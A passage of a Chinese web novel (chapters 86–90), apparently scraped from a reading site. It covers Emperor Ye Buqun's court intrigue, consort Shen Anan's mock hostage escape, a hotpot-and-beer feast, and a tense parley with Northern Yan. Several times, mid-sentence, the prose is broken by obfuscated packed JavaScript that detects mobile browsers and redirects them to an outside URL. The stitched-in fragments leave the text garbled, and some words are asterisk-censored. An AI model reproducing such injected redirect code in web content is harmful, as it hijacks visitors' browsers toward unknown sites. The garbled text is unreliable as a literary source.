“侯爷。”千人斩恭恭敬敬的开口。 “不许吃,不许喝,不许睡,不许死。”赵小高声音如地狱阎罗一般命令着。 这四个不许,巫马道奇听的头脑发懵。 这能做到吗?咋滴?破开肚子往里生灌啊? 两名千人斩闻言也是一愣,看向了魏大贤。 魏大贤道:“意思就是别渴死饿死就行,差不多了就喂一口。” 他摆了摆手。 千人斩这才松了一口气,押走了巫马道奇。 赵小高一步跨出房门,问着魏大贤,“现在跟北燕开战,我们能赢吗?” “派出去的天罗地网,皆是有去无回,北燕如今实力如何,你我也是一无所知啊。” 魏大贤笑了笑,“北燕的实力我不知道,但现在轩辕的实力,已经是多年前的十倍不止。” 轩辕这些年的赋税,全部被魏大贤用在了神威宝库上,就是为了完成陛下的宏图大业。 “如果以前是火力覆盖,那么现在就是摧枯拉朽。” 他说完,抬头看向天空,他真想看看陛下说的降维打击到底是什么样的。 第86章 征西侯 沈安安哄睡了两小只,她是一夜未眠。 她光心里计划逃跑,就计划了几百遍,实在觉得带两个孩子逃不出千人斩的手掌心才放弃了这个想法。 刚挨到天亮,魏大贤就敲响了房门。 “荣贵妃,陛下有令,从今天开始,你和楚妃一起照顾皇后娘娘。 荣贵妃,跟臣速去拜见皇后娘娘吧。” 沈安安用冷水洗了一把脸,这宠妻狂魔又要搞什么? “来了,稍等。”她应着门外的人。 沈安安转身交代两小只,“我不在的时候,你俩就好好的待在房里。 尤其是你亦德,可别再莽撞行事了,多学学亦天。” “亦天,这两天你就教他读书,别让他跑出去瞎转悠。” 沈安安说着,检查了一下夜亦德身上。 别说,国师这医术还是有两把刷子的,夜亦德身上不痒也不绿了。 “沈安安……”夜亦天刚想开口说话。 门外又传来了催促声,“荣贵妃,让皇后娘娘等你怕是不妥吧。” “来了来了。”沈安安没好气的应着。 催催催,跟催命的鬼一样,烦不烦呐。 拉开房门,魏大贤将手中的衣物递给她,让她去房间换上。 沈安安抱着衣服上了楼,回到自己的房间,换好衣服这才跟着魏大贤下了楼。 来到星月楼一楼皇后所在的厢房,一股浓浓的药材味扑面而来。 两位女御医,还架着小火炉在熬着药。 一名宫女,将一盆黑漆漆的药汤端到她面前,让她净手。 下一瞬,就见赵小高领着万辛走了进来。 万辛一步一倒,就像喝多了一样,刚进门就扑通一声跪下。 书桌前的夜不群,摆了摆手,便有两个宫女架起了屏风。 而万辛,被赵小高提拎着脖子,拖到了屏风后。 “陛下。” 沈安安只听到万辛这一声。 她边净手边伸长脖子往屏风那处看。 不知何时,楚舒茗来到了她跟前儿,结结实实挡住了她的视线。 “妾身参见贵妃娘娘。” 沈安安脑子不大灵光,可不懂楚舒茗的用意,“好好好,你也好。” 她脑袋从楚舒茗腰间伸过,又去听。 楚舒茗皱了皱眉,再次挡住,小声提醒着:“贵妃娘娘,有些事情我们还是不知道的好。” “你我负责好皇后娘娘即可。” 沈安安点着头,意犹未尽道:“那好吧,不听了。” 屏风另一边,万辛吓尿了。 八十万龙虎军驻扎在青州城外,多少年没这种阵仗了,这是要出大事了。 这要是北燕回信了,落在龙虎军手里,这他还有的搞? 此时的他只想告老还乡。 太平盛世里当个巡抚还行,真打起来了,他岂不是马前卒? 他想的一点儿都没错,夜不群缓缓开口道。 “万大人,回去整顿整顿,带上你的兵马,朕准备西征,这先锋的重任,就交给你了。” 万辛闻言,砰砰就开始磕头。 “陛下,求您看在臣对先皇有从龙之功的份上,让臣告老还乡吧。 臣如今老了,不似当年了,并非臣怕死,是臣怕我轩辕强兵死在我的无能之下。” 夜不群闻言,放下手中毛笔,缓缓起身,挪步至他面前。 万辛意识到这动静,两只眼睛死死闭上,要杀就杀吧。 却不料,下一瞬,夜不群弯腰伸出一只手,将他从地上扶了起来。 “你也算是三朝元老了,此战不论输赢,必给你封侯,可**十代。” “朕相信你宝刀未老,这么多年了,你也该再进一步了。 如此,朕方对得起皇兄的嘱托。” 赵小高眉头一皱,心中不悦,这万辛无半点功劳,凭何给他封侯? 哼,就算是侯爷,也要让他做个死侯。 万辛一听这话,贪心把害怕全赶走了,“封侯?” “陛下,臣何德何能,能得此殊荣?” 夜不群转身,将桌上早已写好的圣旨,递给了万辛,“万大人实至名归。” 万辛:“谢陛下。” 他双手接过圣旨,还打开仔细看了看,嗯,确实是封侯圣旨,这才开口。 “陛下放心,臣与那北燕贼人,不是他死就是我亡。” 夜不群摆了摆手,“如此甚好。” “臣这就去集结兵马,臣告退。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446818|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万辛退后几步,转过了身。 走的那叫一个虎虎生威、老当益壮。 看这样子,还能再打二十年。 圣旨在手,他也不怕赵小高了,走的那叫一个抬头挺胸,拽不拉稀。 “定国侯,我就先走了?”万辛嚣张的冲赵小高道。 赵小高拉着一张脸,“哼,看你这小人得志的样子。” 万辛不以为然,他忽地顿住步子,又想起了什么,折返了回去。 夜不群也没料到,见他站在面前拱手弯腰行礼,眉心微蹙。 “陛下,您给臣封的什么侯?” 夜不群随口就来,“征西侯。” 万辛点着头,“哦~~好好好,陛下,那臣这次真的走了。” 夜不群不耐烦的摆了摆手。 赵小高看着万辛离开的背影,征西侯是吧?迟早让你归西。 赵小高心直口快,恭敬的冲夜不群行礼问道:“陛下,他何德何能?配跟臣平起平坐?” 夜不群**以为常,他道:“你这性子就不能改改?等胜了北燕,朕封你做国公。” 赵小高一听这话高兴了,从袖子里掏出刚弄来的羊乳糖给夜不群盛上去。 “陛下,看,您小时候最爱吃的,还以为没有了。 臣动用了七千地网,寻遍了青州,才找了个会做的老太。 人臣已经抓……额,请回来了。” 夜不群拿起一块糖,喂进了嘴里,“你能不能做点正事?” “这糖味道不错,好生对待老人家。” 赵小高拱手道:“既不错,那臣自然好生对待,陛下,臣告退了。” 夜不群含着糖,揉着眉心,拿这小子真没办法。 沈安安捏着帕子,歪头看着,小声的八卦:“啧啧啧,哎呀,这**都处成兄弟了。” 楚妃两只手放在脸前,嘴巴张的老大,愣是不敢声张。 就见沈安安帕子上拧下来的水,把皇后整颗脑袋都淋湿了。 这要是被陛下发现,她也要跟着遭殃了。 楚妃上前就是一巴掌拍在沈安安手上,小声道:“赶紧的,擦干了,你在干什么?” 沈安安低头一看,啊!!! 她也是对自己无语**。 第87章 交易 两个人手忙脚乱,可算是赶在夜不群进来之前将狼藉收拾好。 沈安安拿着帕子,站的远远的。 楚舒茗见夜不群朝着床榻走来,自动退让到了床脚,她努力保持着镇定,但藏在袖子里的双手,仍是止不住的颤抖。 夜不群坐在床榻边,轻轻握住了皇后的手,眼皮也不抬一下,冲躲起来的沈安安道:“出来吧。” 沈安安像螃蟹一样从帷幔后挪出来。 “对于你爹**的事儿,你怎么看?”他幽冷的声音,在静谧的空间里压迫力更甚。 这一句话让沈安安莫名其妙,睁大一双清澈的、愚蠢的眼睛看向夜不群,“陛下,您都开始管地府的事儿了?” 楚舒茗倒吸一口凉气,荣贵妃能活到今天,真是个奇迹。 “你爹没死,在大晟领着一群余孽起兵**了。”夜不群平静的说着。 沈安安不假思索,大义灭亲,“陛下,从今天开始,臣妾只是您的妃子,不是谁的女儿。” 楚舒茗难掩震惊的看向沈安安。 这荣贵妃,她莫不是忘记了她的妃位都是父兄军功换来的?这也未免太忘恩负义了吧? 但转念一想,她又羡慕起沈安安这样的人来。 若是她也能卸下一身重担,倒也想做个洒脱的人。 唉,同人不同命罢了,她是绝对做不出这种忘本之事儿的。 夜不群也是能接住她每句话,淡定自若的说着:“好,既然如此,那你就去把你爹抓回来。” 沈安安闻言低下头。 让她出去了,她还会抓爹吗?逍遥快活去了。 这叫什么?拿着皇粮当土皇帝。 她想了想,开始毛遂自荐,“陛下,臣妾自荐当大晟戍边小将,替陛下您扫平一切障碍。 臣妾的能力,萧沙岭一战,陛下了解了吧?” 夜不群没说话,抬起一只手冲着她勾了勾。 沈安安猫着腰走了过去,停在他面前等待接旨。 下一瞬,夜不群那骨节分明的手,就掐住了她的下巴。 自从知道她这个载体没什么用处之后,这**也不怜香惜玉了,掐的她下巴疼。 “你很喜欢打仗?”夜不群冷声问着。 沈安安诚然回着:“不喜欢,臣妾更喜欢享福。” 夜不群仿若没听见她这话,自顾自的说着:“马上就会跟北燕开战,若你能在擒郑婉婉这件事儿上立下功劳。 那朕即刻就让你和亦德去西南封地享福,朕也不会管你。 婚丧嫁娶,随你意,如何?” 沈安安得寸进尺的问:“不是让我去抓爹吗?怎么又去抓别人?算了,那亦天呢?” “那你就再给朕擒个陆诰。”夜不群也放出自己的钩子。 三言两语,沈安安没听出什么不对,楚舒茗却敏锐的察觉到了这话背后的意思。 福王能去西南,太子也能给荣贵妃,那么陛下心中属意的储君人选,是三皇子。 三皇子是皇后所生,她早该明白的。 只是陛下不废除太子,让她心中渺茫的希望日益壮大了而已。 沈安安思索了一番,“臣妾现在去?” 夜不群松开她的下巴,“该你出手的时候,朕自会安排。” “一个时辰,你若出了这星月楼,你跟朕的这桩交易,才作数。”夜不群开口道。 “此言当真?”沈安安眸子都亮了。 “君无戏言。” 夜不群话音刚落,就见沈安安起身,反手抓住了夜不群的手腕。 直接将人拉到了书桌前坐下。 楚舒茗一连好几个震惊,一时之间觉得自己在这里好多余啊。 “陛下,口说无凭,立字为证。”沈安安把毛笔塞到夜不群手里,还伸手拿起一块羊乳糖,喂进了嘴里。 “嗯~~奶味儿真浓,骚中带甜,带劲,定国侯还是有点儿用的。 陛下,以后能不能让他不要再杀我了?大家都说他**是专业的。 虽然我是高手,但我害怕,俗话说得好,不怕贼偷,就怕贼惦记。 这狗守在茅房门口,总有一天能吃上新鲜热乎的啊,可以吗?” 夜不群一脸嫌弃的看向她,上下打量了一番,“闭嘴。” “写好了,开始吧。” 沈安安拿着圣旨,左瞧右瞧,然后卷起来放进了袖子里。 “陛下,那臣妾就开始了哦。”她问着。 夜不群指了指门口,“门口在那儿,自便。” 下一瞬,一把锃亮的**,抵在了他的咽喉处。 夜不群:“……” 楚舒茗:“???” “荣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446819|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵妃,你别胡涂啊,弑君是灭族大罪。” 沈安安另外一只手将也不群的双手拉到身后,一只纤纤玉手捏住他两只手腕,让他双手动弹不得。 夜不群只觉得手腕骨头快要被捏断了。 “害,非常时期,非常手段,合情合理。” “陛下你不会怪罪臣妾的吧?毕竟你又没说不能挟持人。” 她附在夜不群的耳边,轻声说着。 末了还冲楚舒茗道:“你喊啊楚妃娘娘,你不喊我怎么出去?” 说这话的间隙,沈安安把夜不群拖到了床榻边。 楚妃看向夜不群,“那……那臣妾可就真喊了?” 看夜不群没说话,楚舒茗拔腿就跑了出去。 “来人啊,救驾,荣贵妃挟持了陛下。” 这一声,把整栋楼都惊动了。 连两耳不闻窗外事的夜亦天都放下了手中书,问着夜亦德:“刚才楼下喊什么?” 夜亦德:“好像是楚娘娘的声音,是说母妃挟持了皇叔。” “嗯???” “啊!!!”两小只同时惊呼出声,一个甩掉了手中书,一个甩掉了小风车,奔下了楼。 赵小高和魏大贤差点一口酒呛死。 两人直接施展轻功,跃至皇后房中,还不忘喊着,“所有人,前来救驾。” 一千名千人斩,瞬间从四面八方集合而来。 但毕竟是在皇后的卧房,闯进去的只有赵小高和魏大贤。 夜不群气定神闲道:“你不会真以为挟持了朕,你就能从千人斩手中逃出生天吧?” “陛下,您不会真以为臣妾要挟持你吧?” 此话一出,三人皆惊。 下一瞬,就见沈安安**朝着魏大贤丢了出去,将夜不群一掌朝着赵小高推了出去。 “死鬼,待会儿见。” 声音还没消失,她人先不见了。 她胆子够大,直接从皇后的床榻上一跃而过,翻出了窗户。 隔着开着的窗,她站在大街上,摇晃着手里的圣旨。 此前星月楼外围被千人斩围的水泄不通,直接推窗而出估计还没冒头沈安安就没了。 所以她就来了一招声东击西。 魏大贤:“给我拿下。” 夜不群抬起一只手阻止道:“住手。” 第88章 会面 夜不群饶有兴趣的冲沈安安说:“进来吧。” 沈安安作势就要起跃。 夜不群脸色一冷,抬手示意她从大门绕进来。 夜不群转身看着魏大贤和赵小高,“无论何时,都要有泰山崩于前而面不改色的临危不乱。 刚刚你们就犯了一个很大的错误,以后一定要注意。 若是在战场上,这一失误,是致命的。” 魏大贤和赵小高心中憋屈,他们本不是这种畏首畏尾的性子,但实在是地点、被挟持的人,都于他们不利。 “臣记下了。”两人齐声应着。 夜不群关上了沈安安撞开的那扇窗,出了卧房坐回了书桌前。 沈安安这女人,有手段、武功高、有羁绊,好控制。 夜不群正想着,沈安安的羁绊就来了。 “皇叔。”两道稚嫩又紧张的声音,传了来。 夜亦天和夜亦德进门没看见沈安安,脸色煞白。 这就杀了吗?求情的机会都没有是吗? 他们正愣神的时候,沈安安的声音从他们身后响起:“你俩怎么下来了?” “不是说了叫你们待在屋里吗?” 两小只惊魂未定。 夜亦**道:“到底怎么回事儿?” 夜亦德冲她跑过来,结结实实的抱住了她的腿。 “没什么,就是陛下觉得太无趣了,叫我陪他玩玩。 **,下次也陪你们玩儿。”沈安安摸着夜亦德的脑袋,落在夜亦天肩膀上的手轻轻拍了拍,让他们别担心。 魏大贤和赵小高埋怨的看向楚舒茗。 楚舒茗真是有口难言,她只能委屈巴巴的看向夜不群。 “正好大家都来齐了,小高,上酒上菜,去你们那屋。 日后就没这样的清闲日子了,明日你们随朕一起去见郑婉婉。” 这个“你们”涵盖了所有人,楚舒茗也没想到,她还要去战场上。 楚舒茗脸色难看的跟在夜不群身旁,出了皇后厢房。 她这一趟跟来是干了些什么?照顾皇后的苦力给她,想着讨好的两位皇子都不是继承人,陛下连她的手都没碰过,又谈何皇嗣?现在还要她陪他上阵。 她但凡被宠幸过一次,也认了。 楚舒茗心下叹息一声,唉,这陛下宠爱皇后真是魔怔了,他就像圣僧一样,不近女色。 楚舒茗想着:‘这陛下还是个男人吗?’ 一时想的太出神了,连夜不群停下了步子她都没反应过来,一头撞在了他背上。 “刚刚朕倒是把你给忘了,你留在此处照顾皇后便好。” 这一撞,撞出了好运。 楚舒茗福身道:“臣妾领命。” 众人还没落座呢,沈安安一屁股坐在了椅子上,看着桌上热气腾腾的锅里,发出灵魂质问,“这是什么?” 锅里是一根一根的竹签,最前端串着各种各样的肉类和蔬菜。 这种新奇的吃法,她从未见过。 夜不群挥了挥手,冲其他人说道:“就像以往一样,都坐吧,没那么多规矩。” 赵小高坐下来,冷眸瞥着沈安安,“没见识,这是陛下独创的吃法,名为串串。” 夜不群还没动筷子呢,沈安安就从砂锅里捞出了一大把。 桌上摆好了料碟。 她蘸了一口麻酱,然后将一大把肉塞进了嘴里。 辣味和麻酱味在口腔里交织蔓延,这一口,实在是太满足了。 “啊~~好吃的串串,吃啊亦德,你也吃啊亦天。”沈安安吃的停不下来了。 赵小高抱着一只小木桶,放在了桌上。 魏大贤给大家一一盛了一碗。 沈安安端起来嗅了嗅,先浅浅尝了一口,吧唧着嘴问着:“好香啊,浓浓的麦香味儿,还有点儿酒味,这像马尿一样的东西是什么?” “嗝儿~~” “怎么还有气?” 沈安安倒是吃爽了喝爽了,但她这吃相,实在是让其他人没了食欲。 尤其是坐在她旁边的楚舒茗,被喷了一脸的酒气。 夜亦天碰了碰她的胳膊,“大庭广众的,你能不能注意一点儿?” 夜亦德都快馋哭了,夜不群就是不动筷子。 赵小高懒得理沈安安。 魏大贤却是耐心的给沈安安讲解,“这是陛下独创的一种酒类,名曰啤酒。” 一口又烫又辣的串串,配上这一口冰冰爽爽的啤酒,在这冬末时节里,简直不要太畅快了。 “都吃吧。”夜不群拿起筷子。 他喝着啤酒吃着串儿,心里想着:‘这当皇帝真的是日理万机啊,好久没吃这一口了。’ 其他人亦是大快朵颐。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446820|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 楚舒茗和两小只中途就退了,夜不群吃的差不多也去陪皇后了。 就沈安安一锅又一锅的让上菜,一桶又一桶的要酒。 一生要强的魏大贤和赵小高跟她死战到底,一战就到了第二天天亮。 魏大贤揉着鼓起来的肚子,他看着沈安安瘪瘪的肚子,“你为什么茅房都不上能喝一天一夜?” 沈安安竖起一根手指,运用内力,把酒逼了出来。 魏大贤低头一看,“我说怎么湿了一地,我还以为谁尿了。” 赵小高打着嗝儿,“这辈子再也不跟你喝酒了,玩不起。” 沈安安一只脚踩在桌子上,一手串一手酒,指着他俩,“都是弟弟。” 魏大贤,“弟弟就弟弟吧,我认了。” 赵小高一拍桌子,“你说谁是弟弟?我跟你血战到底?” 魏大贤拉着冲动的他,“出发了出发了。” 赵小高回头看着他,“嗯??去哪儿?” 魏大贤一巴掌拍在他脑袋上,“你是不是喝傻了?” “今天是跟北燕碰面的日子。” 赵小高一拍脑门,“你昨天怎么不说?” 魏大贤边出门边回着:“我就差把嘴长你身上了。” 队伍浩浩荡荡的出发,没给他们三个准备的时间。 三个人接二连三的爬上了夜不群的辇车,行了礼后各自找了个舒服的地方。 倒头就睡,呼噜声震天响。 夜亦德蹲在沈安安身边,摇着她,“母妃。” 夜不群目光定格在书上,缓缓开口,“让他们睡吧。” 两小只也只能乖乖的找个地方坐着了。 不多时,队伍便出了青州城。 厚重的大城门被几百人拉开,眼前乌泱泱的一片黑,八十万龙虎军整整齐齐的集结了。 “参见陛下。” 八十万人齐齐开口,这一声,震的地都在抖。 即便是坐在行驶的辇车上,夜亦天仍能清楚的感受到声波震动地面的幅度。 坐在后面小马车里的郑扶胤,从车窗里探出个脑袋,他直接傻眼。 董聂被震撼到,问着郑扶胤,“这这这……看不到头啊将军,这是要开战?” 郑扶胤脸色凝重,这跟陛下之前和他说的不一样。 他望着同州的方向,唉~~婉儿。 第89章熟悉的陌生人 与此同时,同州城外,郑婉婉坐在太师椅上,手中盘子里的瓜子在跳舞。 郑婉婉抖着手,看向贾好人,“地震了吗?” “臣……臣也不知道啊。”贾好人稳住身子。 人老了,轻微一点儿晃动都受不住。 不多时,探子回禀,“启禀陛下、娘娘,轩辕出动了龙虎军。 乌泱泱一片,数都数不清,看样子是倾巢出动了。” “什么?”丞相贾好人脸色大变。 他看向陆诰和郑婉婉,“陛下、娘娘,我们莫不是中计了?” 陆行站出来道:“我去会会他们。” 郑婉婉动作快,伸出一只手逮住了他。 让这臭小子出去,原本不开战的都要开战了。 陆言呵斥着弟弟:“老二,你给我回来。” 陆诰刷一下从椅子上站起来,面无表情道:“来都来了,去看看吧。 我们就是以少胜多打过来的,要战便战吧。” 他吩咐着陆言:“看好你弟弟。” “是,父皇。”陆言应着,从郑婉婉手里接过来,抓住了陆行的衣领子。 贾好人、宇文扩宇文意父子、耶律怀等,跟在他俩身后出了营帐。 …… 到达约定地点。 夜不群起身,来到魏大贤赵小高身边,一人屁股上来了一脚。 两人惊醒,“到了?” 也没等夜不群说句话,他俩就旁若无人的跳下了辇车,这是连踢他们的是谁都没发现。 沈安安很自觉的爬起来,左右手牵着两小只下了辇车。 御驾在八十万大军的正前方,她一出辇车就看到了对面的北燕。 也是乌泱泱的一片,士兵个个都配了马。 “啧啧啧,这到底是要开战还是要言和?”她拍着夜亦天的背,问着。 “都到这时候了,你就少说两句吧。”夜亦天抖了抖身子,将她的手抖掉,他都无语**。 这阵仗,能是言和的吗? 夜不群最后才从辇车上下来,路过沈安安时,他伸出一只手。 沈安安还以为他要牵自己,识趣的把手递上去。 下一瞬,夜不群扭过头来,蹙眉瞪着她。 “额……陛下不是要牵臣妾吗?”沈安安瞪着一双无辜眼,问着。 夜亦天把她那只手扒拉开,“是要牵孤。” “哎呀,自作多情了。”沈安安抽回了手,把夜亦天的手款款送到了夜不群手中。 他就这么牵着小小的他,大步流星的往前走去。 魏大贤和赵小高,跟在他两侧,如影随形。 至于身后的龙虎军,原地等候。 郑婉婉和陆诰也从马背上下来。 双方倒是都遵守君子约定,不带一兵一卒,毕竟此番见面的理由是宇文大将军见外孙,所以陪同郑婉婉的自然也少不了宇文扩父子,还有贾好人陆言陆行也陪伴在侧。 双方隔着十米远的距离,站定。 “婉姐姐,许久未见,别来无恙啊。”夜不群露出一张从未有过的笑脸。 沈安安站在他身后,忍不住的八卦,问牵着的夜亦德:“关系这么好?不是有仇吗?” 夜亦德小声道:“回去再说回去再说。” 郑婉婉也是大大方方的回着,“哎呀呀,不群弟弟,长的越来越俊了。 来来来,姐姐也没啥送你的,来把瓜子磕磕,咱姐弟慢慢唠嗑。” 夜不群上前几步,接过了瓜子。 他松开夜亦天的手,“去吧。” 夜亦天朝着宇文扩扑了过去,“外祖父。” 向来坚强的小人儿,在被温暖的怀抱拥着后,不禁红了眼眶。 宇文扩将他抱起来,看着他这模样,顿时心疼。 一股脑儿的让宇文意将带给他的东西,全都拿了出来。 “乖,咱男子汉大丈夫,不哭哈,看看,这都是外祖父给你寻的好东西。” “我的乖孙儿,还是太子吗?” 这话,是说给夜不群听的。 夜亦天点了点头,“嗯。” 宇文扩闻言,这方抱着他走开。 夜不群看着爷孙俩走远的背影,开口道:“婉姐姐不是很喜欢安乐吗?怎么现在见死不救了?” 郑婉婉磕瓜子的动作一顿,这老小子又要开始整活了。 她不耐烦道:“最开始我就告诉你,我没那逆天改命的本事。 我能让她呼吸已经不错了,她为什么长眠你不知道吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她反手抓住郑婉婉的手,哎呀,这身体,四个孩子的娘了还这么好,她咋就没穿在郑婉婉身上? “郑皇后,听说你挥一挥衣袖,全部都带走,真的还是假的?”沈安安问着。 郑婉婉听闻这话,再细看眼前人,觉得又熟悉又陌生。 熟悉的是这张脸,陌生的是性子,安乐寡言少语、极重礼数,常年高压下长大的人,一点儿也不活泼。 郑婉婉没回答她,捧着她的脸,“哎吆,让我好好看看,不会是把脑子睡坏了吧?让我来治脑子的?” 第90章初生牛犊不怕虎 “唉~~”夜不群长长叹息一声,揭露事实,“她不是安乐。” 也不等郑婉婉反应,夜不群转过身来,“既然婉姐姐这么想念安乐,那就随朕去青州看看她吧。” 下一瞬,陆诰已经到了郑婉婉身旁,“要治,你就把人送来同州。” 郑婉婉没理他们俩,仍是眸子盯着沈安安,“不是安乐。” 她恶狠狠的瞪了一眼夜不群,“男人果然没有一个好东西,替身都找好了你还治个屁啊。” 夜不群也懒得解释,直截了当的问着:“既然不愿意治,那药呢?” 郑婉婉伸出手要着,“金子呢?” 夜不群挥了挥手。 魏大贤便命人,将准备好的金子抬了上来。 三十四箱黄金打开,金灿灿的让人眼花缭乱,摆成一排放在了郑婉婉面前。 “两百粒药,这里是一百八十万两黄金,多出来的那二十粒药钱,下次补上。”夜不群说道。 沈安安看看金子又看看郑婉婉,这抓药这么挣钱吗?可惜她只会打架。 怪不得小时候阿爹整日叫她好好读书,不过这医术也不是读书就能学会的,算了,人各有长。 郑婉婉招了招手,命人将金子抬了下去。 与此同时,她从袖子里掏出一只盒子,“哎呀,在不群弟弟你的治理下,轩辕也是好起来了。 以前都是数着粒买,这次都把我的库存清空了。 这里面有两百零一粒,多出来的那一粒就当我送给这位妹妹的见面礼了。” “我吗?”沈安安指着自己问。 “嗯。”郑婉婉点了点头。 沈安安闻言,“谢谢”都忘了说,伸手就跟夜不群要,“陛下,让我尝尝这仙丹到底是什么味儿的。” 夜不群将盒子放进了怀中,“退下。” 沈安安还要纠缠,夜亦德忙跑上前来,拉住了她的手,“够了母妃,那是随便什么人都能吃的吗?” 这小小的人儿一跑上前来,郑婉婉脸色当即就垮了下来。 陆诰脸色也不好看,眸中渐渐都要带上杀意了。 夜亦德真是太像夜羽祁了,看见他郑婉婉就仿佛看见了以前的夜羽祁。 沈安安把人拉到了身后,挡了起来,慢慢退到了魏大贤赵小高身后。 她小声问着夜亦德,“怎么回事儿?我感觉他们好像想杀你。” 夜亦德:“我怎么知道?我又不认识他们。” 夜不群拿了药,懒得再装了,连声“姐姐”都没有,甩袖就要离开。 郑婉婉却是叫着,“来都来了,去同州玩玩吧。” “下次吧。”夜不群冷冷一声。 “你等等。”郑婉婉叫住他,“人你也见了,药你也拿了,让我见见我哥总行吧?” “可以,随朕来。”夜不群指着自己的辇车,“朕的辇车够大,你们兄妹可以坐在上面慢慢聊。” “你要这样玩,下次买药可没这么方便了。”郑婉婉威胁着。 奇怪的是,这招不好使,夜不群离开的步子都没顿。 陆诰和郑婉婉同时感觉到了不妙。 但郑婉婉还是想见见郑扶胤。 她跨出两步,“等等,我送你五粒,把我哥哥带来,如何?” 夜不群闻言,转过身来,“姐姐还是一如既往的狡猾,刚刚不是说清空库存了吗? 朕也不是小肚鸡肠之人,作为对你的惩罚,六粒,朕把人带过来。” 郑婉婉也不差这一粒了,一声“成交”又从袖子里拿出了一只盒子。 这一次,夜不群要先收药,再送人。 郑婉婉着急见人,也不跟他浪费时间,将药直接递给了他。 夜不群拿到东西心满意足,吩咐着:“小高,把人带过来吧。” 迈出几步,他发觉沈安安没有跟上来,训斥着:“还不走,在等什么?” 沈安安转身跟上他的步子,心里嘀咕着:‘看你那神气的样儿。’ 郑扶胤被赵小高带去见郑婉婉了,董聂被人刀架着脖子留在了原地。 赵小高魏大贤监视着两人见面。 郑婉婉瞥着他二人,“你们真的很没有礼貌,花了那么多金子,我们兄妹说句悄悄话都不行?” 要知道六粒药就是六千两金子。 魏大贤不紧不慢的开口:“五十粒就可以。” “五十粒我都可以带我哥回北燕聊了吧?”郑婉婉没好气道。 赵小高冷哼一声,“你做梦呢。” “手下败将你还高傲的不行,下次还把你屁股打开花。”郑婉婉趾高气昂道。 这一声把赵小高刺激到了,他当即就挽袖子。 魏大贤拉住了他,问着郑婉婉:“你们聊不聊?不聊我拉回去了。” 郑婉婉摆了摆手,“算了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446822|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 郑扶胤拉住了郑婉婉的手,他们兄妹不常见面。 郑婉婉待他也不像另两位时常在身边的兄长熟络。 “二哥哥,你受苦了,如今东渝已灭,启南百姓安居乐业了,你也可以放心了。 若是你愿意来北燕,我可以和那小子谈谈条件。”郑婉婉望着他,眼眸里都是心疼。 一握他的手腕,就知道他受过很重的伤。 郑婉婉红着眼眶,一股脑的从袖子里掏出了许多药,塞进了他怀里。 魏大贤和赵小高见两人动作寻常,也没阻止。 就趁着这个机会,郑扶胤将一团布塞进了郑婉婉的袖子里。 “我无事,你不用担心,我早跟你说过,我生于轩辕,长于启南,日后便是死也是要死在启南的。”郑扶胤温声说着。 这话一出,郑婉婉的眼泪忍不住了,啪嗒掉下来。 其实郑扶胤又何尝不想去北燕家人团聚?他知晓这样说会让婉儿难受,但他别无他法。 手底下千千万万兄弟们的命系在他身上,轩辕和北燕避免不了一战,若真开战时,他在启南,也是对夜不群的一种牵制。 “你怎么就这么犟呢?”陆诰听不下去了,炮仗一样开口,“趁现在还能谈,赶紧回来吧,你就非要等到谈都不能谈的时候? 我们不是都跟你一样,生于轩辕长于轩辕吗?迂腐。” 赵小高补刀道:“你们这群反贼怎么会知道忠君爱国?看看人家这觉悟。 依我说,你们北燕赶紧投降,回归轩辕,这不就一家团聚了吗?” 陆诰气的捏紧了拳头。 郑婉婉也是神补刀,“一家团聚下地狱吗?” 这话一出,双方都不说话了。 就在大家都沉默的时候。 一道初生牛犊不怕虎的稚嫩声音,高呼着:“燕京军听我号令,冲啊。” 燕京军也不知道怎么搞的,竞真打响了冲锋鼓。 龙虎军也不是吃素的,听见动静第一排人瞬间让开,神威大炮就推了出来。 所有人训练有素,火铳都架好了。 